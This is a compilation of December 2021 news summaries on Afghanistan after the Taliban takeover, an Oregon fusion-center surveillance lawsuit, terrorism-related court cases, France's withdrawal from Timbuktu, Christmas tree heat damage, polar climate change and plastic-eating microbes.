GIST	<p>KABUL, Afghanistan (AP) — The Taliban didn't take the Afghan capital — they were invited, says the man who issued the invitation.</p> <p>In an Associated Press interview, former Afghan President Hamid Karzai offered some of the first insights into the secret and sudden departure of Afghan President Ashraf Ghani — and how he came to invite the Taliban into the city “to protect the population so that the country, the city doesn't fall into chaos and the unwanted elements who would probably loot the country, loot shops.”</p> <p>When Ghani left, his security officials also left. Defense minister Bismillah Khan even asked Karzai if he wanted to leave Kabul when Karzai contacted him to know what remnants of the government still remained. It turned out there were none. Not even the Kabul police chief had remained.</p> <p>Karzai, who was the country's president for 13 years after the Taliban were first ousted in the wake of the 9/11 attacks, refused to leave.</p> <p>In a wide-ranging interview at his tree-lined compound in the center of the city where he lives with his wife and young children, Karzai was adamant that Ghani's flight scuttled a last-minute push by himself, the government's chief negotiator Abdullah Abdullah and the Taliban leadership in Doha that would have seen the Taliban enter the capital as part of a negotiated agreement.</p> <p>The countdown to a possible deal began Aug. 14, the day before the Taliban came to power.</p> <p>Karzai and Abdullah met Ghani, and they agreed that they would leave for Doha the next day with a list of 15 others to negotiate a power-sharing agreement. The Taliban were already on the outskirts of Kabul, but Karzai said the leadership in Qatar promised the insurgent force would remain outside the city until the deal was struck.</p> <p>Early on the morning of Aug. 15, Karzai said, he waited to draw up the list. The capital was fidgety, on edge. Rumors were swirling about a Taliban takeover. Karzai called Doha. He was told the Taliban would not enter the city.</p> <p>At noon, the Taliban called to say that “the government should stay in its positions and should not move that they have no intention to (go) into the city,” Karzai said. “I and others spoke to various officials and assurances were given to us that, yes, that was the case, that the Americans and the government forces were holding firm to the places (and) that Kabul would not fall.”</p> <p>By about 2:45 p.m., though, it became apparent Ghani had fled the city. Karzai called the defense minister, called the interior minister, searched for the Kabul police chief. Everyone was gone. “There was no official present at all in the capital, no police chief, no corps commander, no other units. They had all left.”</p> <p>Ghani's own protection unit's deputy chief called Karzai to come to the palace and take over the presidency. He declined, saying legally he had no right to the job. Instead the former president decided to</p>

make a public, televised message, with his children at his side “so that the Afghan people know that we are all here.”

Karzai was adamant that there would have been an agreement for a peaceful transition had Ghani remained in Kabul.

“Absolutely. Absolutely. That is what we were preparing for, what we were hoping (along) with the chairman of the peace council to go to Doha that evening, or the next morning, and to finalize the agreement,” he said. “And I believe the Taliban leaders were also waiting for us in Doha for the same ... objective, for the same purpose.”

Today, Karzai meets regularly with the Taliban leadership and says the world must engage with them. Equally important, he said, is that Afghans have to come together. War has dominated Afghanistan for more than 40 years, and in the last 20 years “Afghans have suffered on all sides,” he said. “Afghans have lost lives on all sides. . . . The Afghan army has suffered. Afghan police have suffered, the Taliban soldiers have suffered.”

He added: “An end to that can only come when Afghans get together, find their own way out.”

The former president has a plan. In his talks with the Taliban, he is advocating the temporary resurrection of the constitution that governed when Afghanistan was a monarchy. The idea was also floated during earlier Doha talks.

At the same time, a traditional Loya Jirga — a grand council of all Afghans, including women — would be convened. It would decide the country’s future, including a representative government, a constitution, a national flag.

There’s no indication the Taliban will accept his formula, though he says they have not rejected it in discussions. A jirga is a centuries-old Afghan tradition for decision-making and is particularly popular among ethnic Pashtuns, which make up the backbone of the Taliban.

Karzai said a future Afghanistan has to have universal education rights for boys and girls and women “must find their place in the Afghan polity, in the administration, in economic activity and social activity, the political activity in all ways of life. ... That’s an issue on which there cannot be any compromise.”

But until it happens, Karzai says, the world has to engage with the Taliban. Afghanistan needs to operate. Government servants have to be paid. Health care facilities need to function.

“Right now, they need to cooperate with the government in any form they can,” said Karzai, who also bemoaned the unchallenged and sometimes wrong international perceptions of the Taliban. He cited claims that women and girls are not allowed outside their homes or require a male companion. “That’s not true. There are girls on the streets — women by themselves.” The situation on the ground in Kabul bears this out.

Asked to describe the Taliban, Karzai said: “I would describe them as Afghans, but Afghans who have gone through a very difficult period in their lives as all other Afghans have done for the past 40 years.”

We “have been through an extremely difficult period of our history in which we, the Afghans, have made mistakes on all sides, in which the international community and those who interacted with us have made tremendous mistakes,” Karzai said. “It’s time for all of us to realize that, and to look back at the mistakes that we have all made and to make it better.”

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HEADLINE	11/14 Lawsuit: OR fusion center unlawfully spied
SOURCE	https://www.theintelligencer.com/news/article/Suit-Anti-terrorism-center-collects-protester-16702445.php

GIST	<p>PORTLAND, Ore. (AP) — Several environmental, Indigenous and social justice advocates are suing the Oregon Department of Justice, alleging the state’s TITAN Fusion Center for intelligence gathering has unlawfully spied on demonstrators fighting the \$10 billion Jordan Cove pipeline.</p> <p>The lawsuit argues that the center, one of dozens opened in the wake of the Sept. 11, 2001, terrorist attacks, is also operating without state legislative authority, The Oregonian/OregonLive reported.</p> <p>Lawyers from the Policing Project at New York University School of Law filed the lawsuit in Marion County Circuit Court on behalf of four plaintiffs.</p> <p>“Until the Oregon legislature decides to authorize and set up appropriate guardrails, they shouldn’t be allowed to operate at all,” said Farhang Heydari, the Policing Project’s executive director.</p> <p>Kristina Edmunson, a spokesperson for the state Justice Department and Attorney General Ellen Rosenblum, said the department is reviewing the lawsuit and will respond in court.</p> <p>She said the center works with federal, state and local law enforcement agencies to produce threat assessments, officer safety bulletins, reports of missing persons and general crime bulletins. It also provides training to law enforcement agencies, businesses and first responders on public safety topics including active shooters. It’s supported by federal grants and funding from the state legislature, Edmunson said.</p> <p>The lawsuit alleges the center has coordinated intelligence operations on Jordan Cove with firms hired by the private company funding the project with the goal of suppressing public dissent. Calgary-based Pembina Pipeline Corp. proposed a liquefied natural gas export terminal in Coos Bay with a feeder pipeline, the Pacific Connector, stretching halfway across Oregon.</p> <p>“It is astonishing and disturbing to become the target of a well-resourced secret police solely because of my participation in peaceful rallies opposing a harmful fossil fuel pipeline across my ancestral lands,” said plaintiff Ka’ila Farrell-Smith, a member of the Klamath Tribes and a resident of Modoc Point who serves as a board member for environmental justice nonprofit Rogue Climate.</p> <p>When the state Justice Department learned of the concerns about improper surveillance of Jordan Cove protesters, Edmunson said the department followed up immediately and then placed the Fusion Center employee on administrative leave. After an internal investigation, the department issued the employee a pre-dismissal notice and he chose to resign, she said.</p> <p>The lawsuit contends the state’s Fusion Center has overstepped its initial focus. The U.S. Department of Homeland Security created the centers for federal, state and local law enforcement agencies to share information on threats to help anticipate terrorist attacks.</p> <p>The plaintiffs want a judge to declare Oregon’s TITAN Fusion Center unlawful, halt its operations and order the center to destroy or expunge all records on them and their organizations.</p> <p>Earlier this month, the developers that had hoped to build the Pacific Connector Pipeline and Jordan Cove Energy Project told the Federal Energy Regulatory Commission they did not intend to move forward with the project.</p>
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HEADLINE	12/14 Milwaukee ‘terror’ case ends in plea deal
SOURCE	https://www.jsonline.com/story/news/crime/2021/12/14/case-over-milwaukee-masonic-temple-shooting-plot-ends-plea-deal/6501644001/
GIST	A Milwaukee man once accused of plotting a mass shooting downtown to "defend Islam" has pleaded guilty nearly six years later to possessing an unregistered machine gun.

The FBI's announcement it had thwarted the alleged plot made national headlines in 2016. It said Samy Hamzeh, then 23, had been conspiring to kill 30 people at the Humphrey Scottish Rite Masonic Temple. Hamzeh's lawyers argued he made outlandish and boastful comments to impress a pair of FBI informants who hounded him for months. Hamzeh was never charged with terrorism, only possession of two machine guns and a silencer he purchased for \$570 from undercover agents.

The case has dragged on while hundreds of hours of recorded conversations — mostly in Arabic — were transcribed, then translated to English. Crowded court dockets also contributed to the long wait for a trial.

According to court records, at some point Hamzeh watched YouTube videos espousing the incorrect belief that Masons secretly support the Islamic State, which purportedly led Hamzeh and the informants to settle on the Milwaukee center as a target.

Hamzeh later told the informants he wanted to cancel the plan [after he said two imams told him him it would be wrong.](#)

Hamzeh, described by prosecutors as a serious danger, was jailed for more than two years, longer than any sentence he would likely get if convicted, his lawyers argued. In late July 2018, a judge allowed Hamzeh to be released to live with his parents pending trial, which was postponed repeatedly.

In July, the court set a new trial date for February, but then last month, Hamzeh suddenly agreed to a plea deal.

In court Tuesday, in response to the judge's standard questions about whether anyone had threatened or coerced him to plea guilty, Hamzeh said, "No one's threatening me. I'm just afraid. I have two kids now."

Hamzeh also said he's now 29, has a college degree, and has been working at the same business for about three years. He was born in New Jersey, but spent time growing up in Jordan, before moving to Milwaukee about 10 years ago.

According to the plea agreement, federal prosecutors will dismiss a second count of possessing an unregistered machine gun and a county of possessing a silencer, and recommend a sentence of no more than five years in prison.

Hamzeh's lawyers will likely argue for time served. Sentencing is set for March 24.

Chief U.S. District Judge Pamela Pepper denied the government's request that Hamzeh be jailed pending sentencing, noting his record of compliance since his release in 2018.

Informants key to case

The first informant, identified only as Mike, was a longtime friend of Hamzeh's who brought up and pushed the idea he should get a machine gun. According to court records, Mike was in the U.S. illegally when he went to the FBI in September 2015. Agents kept him in the country until March 2016, when he returned to Jordan. His \$600 hotel bill was paid by agents, and he refused a \$599 payment.

The second informant, Steve, who has worked for the FBI before and since, was paid \$7,300 and given about \$900 for a new phone and number after Hamzeh's arrest. Agents got Steve a job where Hamzeh and Steve worked, so he could talk with and get to know Hamzeh.

Neither Steve nor Mike knew the other was an informant until just a few days before Hamzeh's arrest, on Jan. 25, 2016.

Shortly after Hamzeh's arrest, one of the informants was hospitalized for mental health issues, which Hamzeh's lawyers argued might affect his memory.

HEADLINE	12/14 Accused IS soldier loses evidence fight
SOURCE	https://www.stripes.com/theaters/us/2021-12-14/islamic-state-soldier-michigan-loses-evidence-fight-feds-3967944.html
GIST	<p>DETROIT (Tribune News Service) — A federal judge Monday refused to suppress texts and statements made to federal agents by an accused Islamic State fighter from Dearborn captured on a Syrian battlefield three years ago, dealing a setback to the defense of a rare foreign fighter brought back to America to face charges.</p> <p>Texts Ibraheem Musaibli, 31, exchanged with an FBI Joint Terrorism Task Force officer and comments the Dearborn man said while being flown back to the United States aboard a customized C-17 military cargo plane were made voluntarily, U.S. District Judge David Lawson wrote in a federal court filing. Musaibli talked to the officer after being advised of his rights, the judge added.</p> <p>"There is no valid reason to suppress the statements or the text messages," Lawson wrote.</p> <p>Musaibli is scheduled to stand trial in January on terrorism charges punishable by up to 50 years in prison.</p> <p>Musaibli drew international attention three years ago when he was captured in Syria. The case has shed light on Musaibli's journey from his parents' perfume shop in Detroit to a Middle East war zone and presented the U.S. court system with a unique chance to prosecute an American accused of leaving the U.S. and fighting for the Islamic State group.</p> <p>Defense lawyers tried to suppress the messages, arguing the FBI task force officer used a code name and coercion while offering to rescue Musaibli, but only if he admitted being an Islamic State soldier.</p> <p>Musaibli also argued he was subjected to sensory deprivation devices, sleep-deprived and hungry before being questioned for several hours during a long flight from Kuwait after being freed from custody of a foreign power.</p> <p>Musaibli waived his rights, the judge wrote Monday.</p> <p>"None of the other relevant circumstances favor a finding that the waiver here was the product of any coercive overreach by the interrogating agents or that the defendant's free will was overborne," Lawson wrote. "The defendant is an adult."</p> <p>Musaibli's lawyer, John Shea, declined comment Monday.</p>
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HEADLINE	12/14 Afghan heroin, human trafficking thrives
SOURCE	https://asiatimes.com/2021/12/heroin-human-trafficking-only-thriving-afghan-businesses/
GIST	<p>In the frontier town of Zaranj on Afghanistan's border with Iran, young men jostle one another as they cram into pickups that leave at regular intervals to be smuggled across the border.</p> <p>Human trafficking is one of the few sectors of the Afghan economy that is thriving. Another is drugs.</p> <p>Some 950 kilometers to the east of Zaranj, on a remote and cold mountain pass, men with backpacks follow the narrow path to the border-crossing at Tabai, before beginning their descent into the "tribal areas" of Pakistan.</p> <p>Hidden in their loads are bags of heroin, bound for markets in Peshawar and Karachi, with much of it ending up on the streets of the United Kingdom.</p>

The trade in drugs and people are growing in importance as other sectors of the economy [contract or shut down](#) and poverty deepens.

Both illicit economies involve complex logistics, infrastructure and networks of brokerage to enable and funnel flows of people or illegal drugs out of the country. Both have responded with remarkable speed and agility to the political rupture marked by the [Taliban takeover](#).

In Zaranj, prior to the change of regime, people told us that 2014–15 was the high point of the people smuggling industry, when the labor market contracted and the economy slowed down in response to the international military drawdown. Now, the business is booming again, and [so are prices](#).

A report by the [Danish Refugee Council](#) found that even before the crisis Afghans were being asked for an average of US\$1,710 to be transported from Afghanistan to Turkey. It has been estimated that the numbers crossing the border have doubled in recent weeks.

Before the Taliban takeover, there were about 400 vehicles taking migrants via Pakistan into Iran every day. This rose to some 1,200 in September-October and has now dropped to about 600 vehicles.

Fees for the longer Mashkel route via Pakistan initially increased four to sixfold during this period. Official border crossings with Iran are closed for most migrants.

The economic significance of the drugs trade has also grown. When the Taliban took over, drug prices increased significantly. In Nangarhar, dry opium increased from PKR20,000 (\$112) to PKR33,000 (\$185) per Afghan seer, the equivalent to about 1.25 kilograms.

In Nimroz, opium increased from PKR10,000 to PKR28,000 per kilo. The spike in prices was driven by traders buying the product at a time of uncertainty.

But prices went down and stabilized once it became apparent that the Taliban would consolidate their power swiftly. One sign of confidence in the market has been the opening up of opium bazaars in formerly government-controlled areas.

The Taliban's new monopoly on taxing the drugs trade is manifest in districts such as Durbaba in Nangarhar, where they charge taxes of PKR1,000 per seer of opium, PKR500 per kilo of hashish and PKR2,000 per kilo of heroin.

The Taliban and the drug economy

Under pressure and under conditions of economic decline and an escalating crisis, the Taliban is unlikely to move against the drug economy. The exception is [often draconian measures](#) against drug users in Kabul.

There are no signs yet that the Taliban will target other parts of the drug business, such as cultivation, refining, trade and cross-border trafficking. Unlike ISIS-K (Islamic State Khorasan), drug cultivation and trafficking are not an ideological matter for the Taliban – but more likely a bargaining chip in their negotiations with the West around funding and recognition.

At the same time, those involved in the trade are hedging their bets by stockpiling in case the Taliban's *laissez faire* policy changes.

While the underlying drivers of the drug economy – instability, bad governance and widespread poverty – remain so strong, there is no credible or humane way to achieve sustained reductions in poppy cultivation. Billions of dollars invested in counter-narcotics efforts by international actors over the last 20 years failed to do this and the Taliban have neither the resources nor the inclination to enforce drug bans now.

To do so would further impoverish a population already in dire straits, and at the same time undermine the Taliban's core support base in the poppy-growing areas of the Pashtun south. It would also cut off an important source of revenue to the regime.

Borderland businesses

Most of Afghanistan's illicit drug production and trafficking happens in the borderlands, building on longstanding trading networks and societal connections that predate the modern Afghan state and that have been reinforced and rejuvenated by more than four decades of war.

The sudden withdrawal of western funding has exposed an economy, polity and society heavily shaped by – and dependent on – external financial support, technical assistance and military capacity.

In the current context, the Taliban government is going to struggle to support any public sector activity, including the provision of basic health and education services.

The possibilities of survival in the borderlands of rural Afghanistan are already severely limited by declining farm sizes and high levels of landlessness, and the repeated droughts wrought by the climate emergency.

People smuggling and drugs are two borderland economies that can be understood as responses to a context of radical uncertainty. Border regions are places of improvisation and innovation, often the first regions to react to moments of rupture and transition.

While the licit economy has been hit hard by the banking crisis, the people smuggling and drugs industries continue to be funded by “*halwaldars*,” the informal money exchange system.

Unfortunately, the international response has been ponderous and dogmatic. An indefinite “wait-and-see” approach by western governments, megaphone diplomacy with the Taliban, or efforts to “quarantine” Afghanistan's illicit flows will all exacerbate a growing humanitarian, financial and security crisis with regional and global ramifications.

Humanitarian and development funding have to be delivered now, and at scale.

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HEADLINE	12/14 France military leaves Timbuktu, Mali
SOURCE	https://abcnews.go.com/International/wireStory/french-military-leaves-timbuktu-mali-years-81754369
GIST	<p>BAMAKO, Mali -- French forces left the city of Timbuktu late Tuesday, the latest sign that the former colonial power is drawing down its presence in northern Mali nearly nine years after driving Islamic extremists from power there in a military intervention.</p> <p>The symbolic move comes amid fears about whether the Malian military can now step in and fend off the extremists, who have regrouped and expanded their reach even further southward since the 2013 offensive.</p> <p>In a communique, the French military emphasized late Tuesday that the Malian military maintains “a strong garrison in Timbuktu,” in addition to nearly 2,200 U.N. peacekeepers who are permanently deployed there.</p> <p>Residents told The Associated Press late Tuesday that the Malian military has occupied the former French military base.</p> <p>The French military already has shut down its bases further north in Kidal and Tessalit but is maintaining its presence in Gao near a volatile border region where operations have been concentrated in recent years.</p> <p>France announced earlier this year that it would be withdrawing more than 2,000 troops from the Sahel by early 2022, refocusing its military efforts on neutralizing extremist operations, and strengthening and training local armies.</p> <p>The decision came amid mounting political instability in Mali, where Col. Assimi Goita carried out two coups in less than a year's time before being sworn in as the country's interim president. The international</p>

	<p>community has set a deadline for new democratic elections to be held by the end of February, though there are growing signs that will not happen.</p> <p>On Sunday, the regional bloc known as Economic Community of West African States warned that Mali could face additional sanctions if more “concrete progress” is not made by Jan. 1 toward preparing for elections. The Community already has suspended Mali, and it slapped travel bans and asset freezes on members of the transitional government.</p> <p>The junta has cited mounting insecurity throughout Mali as a reason why February’s deadline is not attainable.</p>
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Suspicious, Unusual

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HEADLINE	12/14 Summer heat wave hit Christmas tree farms
SOURCE	https://www.q13fox.com/news/summer-heat-wave-caused-inventory-loss-at-some-christmas-tree-farms-in-western-washington
GIST	<p>AUBURN, Wash. - The impacts of the heat wave in Western Washington over the summer are showing up this winter, especially for those hoping to find the perfect Christmas tree.</p> <p>Some tree farmers claimed to have lost about 20% of their inventory, causing them to close early for the season.</p> <p>The owners of Pfaff Christmas Tree Farm in Auburn said they spent a lot of money to protect and save the majority of their trees for this holiday season. However, the hot weather could have possibly ruined thousands of future Christmas trees.</p> <p>"I haven't had them burned back like that before. They're still alive, but we'll see how they do this year," said Erik Pfaff, co-owner of the tree farm.</p> <p>Several families visit the farm every year, including Irene Cervantes and her son Michael. She said every year, they know exactly which tree is right for them.</p> <p>"What we look for is something that will talk to us. And this is definitely saying take me home, take me with you," said Cervantes.</p> <p>Pfaff said the reason customers have a choice at all this season is thanks to an expensive water bill protecting trees from the summer's heat wave. He said normally it would cost roughly \$200–\$300 per month to water the trees. During the drought, however, Pfaff said the water bill soared to roughly \$1,100 per month.</p> <p>"We were watering over-the-top and got the ground wet before it happened. So, I think that helped," said Pfaff.</p> <p>The extra water may not have been enough to save several thousands of his seedlings. Pfaff said the seedlings are supposed to grow into Christmas trees over the next seven to 10 years. However, they were severely sunburned during the triple digit temperatures.</p> <p>"It's kind of almost like a blow torch hit it and burned the top new growth off it. We have a little bit of growth underneath, and I'm going to experiment and see if they'll come back," said Pfaff.</p>

	<p>Pfaff said he could find out by spring time if the seedlings can be saved, but fears there may be a significant loss. This could ultimately impact tree inventory for future holiday seasons. Pfaff said he has never seen a burn this bad, but said at least this year his farm was lucky.</p> <p>"I've been to other farms, though, and they were burned quite badly on one side of the tree. Seemed to get burned worse than the others," said Pfaff.</p> <p>As he waits to learn the fate of the future Christmas trees, Pfaff and his team help customers pick the best one for this holiday season.</p> <p>"They are very excited when they come back with a nice tree. And I'm happy for them that they were able to find a nice tree themselves," said Lyubov Belyavskaya, a tree farm employee.</p>
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HEADLINE	12/14 Climate change destabilized Earth's poles
SOURCE	https://www.washingtonpost.com/climate-environment/2021/12/14/climate-change-arctic-antarctic-poles/
GIST	<p>The ice shelf was cracking up. Surveys showed warm ocean water eroding its underbelly. Satellite imagery revealed long, parallel fissures in the frozen expanse, like scratches from some clawed monster. One fracture grew so big, so fast, scientists took to calling it "the dagger."</p> <p>"It was hugely surprising to see things changing that fast," said Erin Pettit. The Oregon State University glaciologist had chosen this spot for her Antarctic field research precisely because of its stability. While other parts of the infamous Thwaites Glacier crumbled, this wedge of floating ice acted as a brace, slowing the melt. It was supposed to be boring, durable, safe.</p> <p>Now climate change has turned the ice shelf into a threat — to Pettit's field work, and to the world. Planet-warming pollution from burning fossil fuels and other human activities has already raised global temperatures more than 1.1 degrees Celsius (2 degrees Fahrenheit). But the effects are particularly profound at the poles, where rising temperatures have seriously undermined regions once locked in ice.</p> <p>In research presented this week at the world's biggest earth science conference, Pettit showed that the Thwaites ice shelf could collapse within the next three to five years, unleashing a river of ice that could dramatically raise sea levels. Aerial surveys document how warmer conditions have allowed beavers to invade the Arctic tundra, flooding the landscape with their dams. Large commercial ships are increasingly infiltrating formerly frozen areas, disturbing wildlife and generating disastrous amounts of trash. In many Alaska Native communities, climate impacts compounded the hardships of the coronavirus pandemic, leading to food shortages among people who have lived off this land for thousands of years.</p> <p>"The very character of these places is changing," said Twila Moon, a glaciologist at the National Snow and Ice Data Center and co-editor of the Arctic Report Card, an annual assessment of the state of the top of the world. "We are seeing conditions unlike those ever seen before."</p> <p>The rapid transformation of the Arctic and Antarctic creates ripple effects all over the planet. Sea levels will rise, weather patterns will shift and ecosystems will be altered. Unless humanity acts swiftly to curb emissions, scientists say, the same forces that have destabilized the poles will wreak havoc on the rest of the globe.</p> <p>"The Arctic is a way to look into the future," said Matthew Druckenmiller, a scientist at the National Snow and Ice Data Center and another co-editor of the Arctic Report Card. "Small changes in temperature can have huge effects in a region that is dominated by ice."</p> <p>This year's edition of the report card, which was presented at the American Geophysical Union annual meeting Tuesday, describes a landscape that is transforming so fast scientists struggle to keep up. Temperatures in the Arctic are rising twice as fast as the global average. The period between October and December 2020 was the warmest on record, scientists say.</p>

Separately on Tuesday, the World Meteorological Organization [confirmed](#) a new temperature record for the Arctic: 100 degrees Fahrenheit in the Siberian town of Verkhoyansk on June 20, 2020.

These warm conditions are catastrophic for the sea ice that usually spans across the North Pole. This past summer saw the second-lowest extent of thick, old sea ice since tracking began in 1985. Large mammals like polar bears go hungry without this crucial platform from which to hunt. Marine life ranging from tiny plankton to giant whales are at risk.

“It’s an ecosystem collapse situation,” said Kaare Sikuaq Erickson, whose business [Ikaagun Engagement](#) facilitates cooperation between scientists and Alaska Native communities.

The consequences of this loss will be felt far beyond the Arctic. Sea ice has traditionally acted as Earth’s “air conditioner”; it reflects as much as two thirds of the light that hits it, sending huge amounts of solar radiation back into space.

By contrast, dark expanses of water absorb heat, and it is difficult for these areas to refreeze. Less sea ice means more open ocean, more heat absorption and more climate change.

“We have a narrow window of time to avoid very costly, deadly and irreversible climate impacts,” National Oceanic and Atmospheric Administration head Rick Spinrad told reporters Tuesday.

Record highs have also sounded the death knell for ice on land. Three historic melting episodes struck Greenland in July and August, causing the island’s massive ice sheet to lose about 77 trillion pounds. On Aug. 14, for the first time in recorded history, rain fell at the ice sheet summit.

“I think my jaw would have hit the floor,” Moon said, imagining what she might have felt had she witnessed the unprecedented event. “This fundamentally changes the character of that ice sheet surface.”

Though the Greenland ice sheet is more than a mile thick at its center, rain can darken the surface, causing the ice to absorb more of the sun’s heat, Moon said. It changes the way snow behaves and slicks the top of the ice.

The consequences for people living in the Arctic can be dire. In Greenland and elsewhere, meltwater from shrinking glaciers has deluged rivers and contributed to floods. Retreating ice exposes unstable cliffs that can easily collapse into the ocean, triggering deadly tsunamis. Roads buckle, water systems fail and buildings cave in as the permafrost beneath them thaws.

Some 5 million people living in the Arctic’s permafrost regions are at risk from the changes happening at their shores and under their feet.

“It’s not just about polar bears, it’s about actual humans,” said Rick Thoman, a climate specialist at the International Arctic Research Center at the University of Alaska Fairbanks and another co-editor of the Arctic Report Card. “These changes are impacting people and their lives and livelihoods from ‘What’s for dinner tonight?’ up to the international scale.”

In Antarctica, said University of Colorado at Boulder glaciologist Ted Scampos, “climate change is more about wind changes and ocean changes than warming — although that is happening in many parts of it as well.”

Though the continent stays frozen for much of the year, rising temperatures in the Pacific have changed how air circulates around the South Pole, which in turn affects ocean currents. Warm, deep ocean water is welling up toward coastlines, lapping at the ice sheet’s frozen underbelly, weakening it from below.

“This is triggering the beginnings of a massive collapse,” Scampos wrote in an email from Antarctica’s McMurdo Station, where he is preparing for a field trip to the Thwaites Glacier’s failing ice shelf.

The disintegration of the Thwaites ice shelf won't immediately increase sea levels — that ice already floats on top of the water, taking up the same amount of space whether it's solid or liquid. But without the ice shelf acting as a brace, the land-bound parts of the glacier will start to flow more quickly. Thwaites could become vulnerable to ice cliff collapse, a process in which towering walls of ice that directly overlook the ocean start to crumble.

If the entire glacier failed, it would raise sea levels by several feet. Island nations and coastal communities would be inundated.

"We don't know exactly if or when ice cliff failure is going to initiate," said Anna Crawford, a glaciologist at the University of St. Andrews who works on models of the process. "But we're certain Antarctica is going to change."

"There's ample evidence to support reducing emissions," she added, "because it's giving us enough to be worried about already."

For some in the Arctic, this rapid thaw represents opportunity. Tundra vegetation flourishes in the warmer weather. Beavers have migrated northward, digging their paws into the once-frozen earth.

Satellite images show that the number of beaver ponds in western Alaska — formed when the large rodents build their dams along waterways — has at least doubled since 2000. These ponds can contribute to the rapid thaw of permafrost, unleashing carbon that has been locked in soil for thousands of years. But it's not yet clear what beaver engineering means for the planet, or even for the ecosystems just downstream.

Warmer conditions have also allowed people to infiltrate new environments, and here the detrimental impacts are plain to see. New shipping routes have been established through areas once blocked by sea ice, disrupting wildlife and polluting the ocean with unnatural noise.

Passing ships also leave behind huge amounts of garbage; in summer 2020, hundreds of items washed ashore in Alaskan communities along the Bering Strait. Residents — most of them Alaska Natives — found clothes, equipment, plastic food packaging and cans of hazardous oils and insecticides in waters where they regularly fish. Labels in English, Russian, Korean and a host of other languages illustrated the international nature of the problem.

For many Arctic residents, climate change is a threat multiplier — worsening the dangers of whatever other crises come their way. Another essay in the Arctic Report Card documents the threats to Alaska Natives' food security caused by the coronavirus pandemic. Quarantine restrictions prevented people from traveling to their traditional harvesting grounds. Economic upheaval and supply chain issues left many grocery stores with empty shelves.

But the essay, which was co-written by Inupiaq, Hadia, Ahtna and Supiaq researchers, along with experts from other Native communities, also highlights how Indigenous cultural practices helped communities stave off hunger. Existing food sharing networks redoubled their efforts. Harvesting traditions were adapted with public health in mind.

"Our people, we've had to have these underlying characteristics of resiliency, sharing, respect," said Erickson, the Inupiaq researcher. "We focus on practical solutions, otherwise we won't survive."

"The rest of the world," he added, "is going to have to face that as well."

Though no place on Earth is changing as fast as the Arctic, rising temperatures have already brought similar chaos to more temperate climes as well. Unpredictable weather, unstable landscapes and collapsing ecosystems are becoming facts of life in communities around the globe.

	<p>None of this represents a “new normal,” Moon cautioned. It’s merely a pit stop on a path to an even stranger and more dangerous future.</p> <p>Global greenhouse gas emissions are on track to keep rising. Governments and businesses have not taken the steps needed to avert catastrophic warming beyond 1.5 degrees Celsius (2.7 degrees Fahrenheit) above preindustrial levels. There is every reason to believe that instability at the poles — and around the planet — will get worse.</p> <p>But achieving the best case climate scenarios could cut the volume of ice lost from Greenland by 75 percent, research suggests. International cooperation could prevent garbage from getting into the oceans and alleviate the effects of marine noise. Better surveillance and early warning systems can keep people safe when melting triggers landslides and floods.</p> <p>“There’s such a big range and difference in what the future of the Arctic and the future anywhere on our globe can look like,” Moon said. “It all depends on human actions.”</p>
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HEADLINE	12/14 Study: microbes evolving to eat plastic
SOURCE	https://www.theguardian.com/environment/2021/dec/14/bugs-across-globe-are-evolving-to-eat-plastic-study-finds
GIST	<p>Microbes in oceans and soils across the globe are evolving to eat plastic, according to a study.</p> <p>The research scanned more than 200m genes found in DNA samples taken from the environment and found 30,000 different enzymes that could degrade 10 different types of plastic.</p> <p>The study is the first large-scale global assessment of the plastic-degrading potential of bacteria and found that one in four of the organisms analysed carried a suitable enzyme. The researchers found that the number and type of enzymes they discovered matched the amount and type of plastic pollution in different locations.</p> <p>The results “provide evidence of a measurable effect of plastic pollution on the global microbial ecology”, the scientists said.</p> <p>Millions of tonnes of plastic are dumped in the environment every year, and the pollution now pervades the planet, from the summit of Mount Everest to the deepest oceans. Reducing the amount of plastic used is vital, as is the proper collection and treatment of waste.</p> <p>But many plastics are currently hard to degrade and recycle. Using enzymes to rapidly break down plastics into their building blocks would enable new products to be made from old ones, cutting the need for virgin plastic production. The new research provides many new enzymes to be investigated and adapted for industrial use.</p> <p>“We found multiple lines of evidence supporting the fact that the global microbiome’s plastic-degrading potential correlates strongly with measurements of environmental plastic pollution – a significant demonstration of how the environment is responding to the pressures we are placing on it,” said Prof Aleksej Zelezniak, at Chalmers University of Technology in Sweden.</p> <p>Jan Zimec, also at Chalmers University, said: “We did not expect to find such a large number of enzymes across so many different microbes and environmental habitats. This is a surprising discovery that really illustrates the scale of the issue.”</p> <p>The explosion of plastic production in the past 70 years, from 2m tonnes to 380m tonnes a year, had given microbes time to evolve to deal with plastic, the researchers said. The study, published in the journal Microbial Ecology, started by compiling a dataset of 95 microbial enzymes already known to degrade plastic, often found in bacteria in rubbish dumps and similar places rife with plastic.</p>

The team then looked for similar enzymes in environmental DNA samples taken by other researchers from 236 different locations around the world. Importantly, the researchers ruled out potential false positives by comparing the enzymes initially identified with enzymes from the human gut, which is not known to have any plastic-degrading enzymes.

About 12,000 of the new enzymes were found in ocean samples, taken at 67 locations and at three different depths. The results showed consistently higher levels of degrading enzymes at deeper levels, matching the higher levels of plastic pollution known to exist at lower depths.

The soil samples were taken from 169 locations in 38 countries and 11 different habitats and contained 18,000 plastic-degrading enzymes. Soils are known to contain more plastics with phthalate additives than the oceans and the researchers found more enzymes that attack these chemicals in the land samples.

Nearly 60% of the new enzymes did not fit into any known enzyme classes, the scientists said, suggesting these molecules degrade plastics in ways that were previously unknown.

“The next step would be to test the most promising enzyme candidates in the lab to closely investigate their properties and the rate of plastic degradation they can achieve,” said Zelezniak. “From there you could engineer microbial communities with targeted degrading functions for specific polymer types.”

The first bug that eats plastic was discovered in a Japanese waste dump in 2016. Scientists then tweaked it in 2018 to try to learn more about how it evolved, but [inadvertently created an enzyme](#) that was even better at breaking down plastic bottles. Further tweaks in 2020 increased the [speed of degradation sixfold](#).

Another mutant enzyme was created in 2020 by the company Carbios that [breaks down plastic bottles for recycling in hours](#). German scientists have also discovered a bacterium that feeds on the toxic plastic polyurethane, which is usually dumped in landfills.

Last week, scientists revealed that the levels of microplastics known to be eaten by people via their food [caused damage to human cells](#) in the laboratory.

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HEADLINE	12/14 Arctic warming twice as fast as world
SOURCE	https://abcnews.go.com/International/arctic-warming-fast-rest-world-noaa-report/story?id=81658251
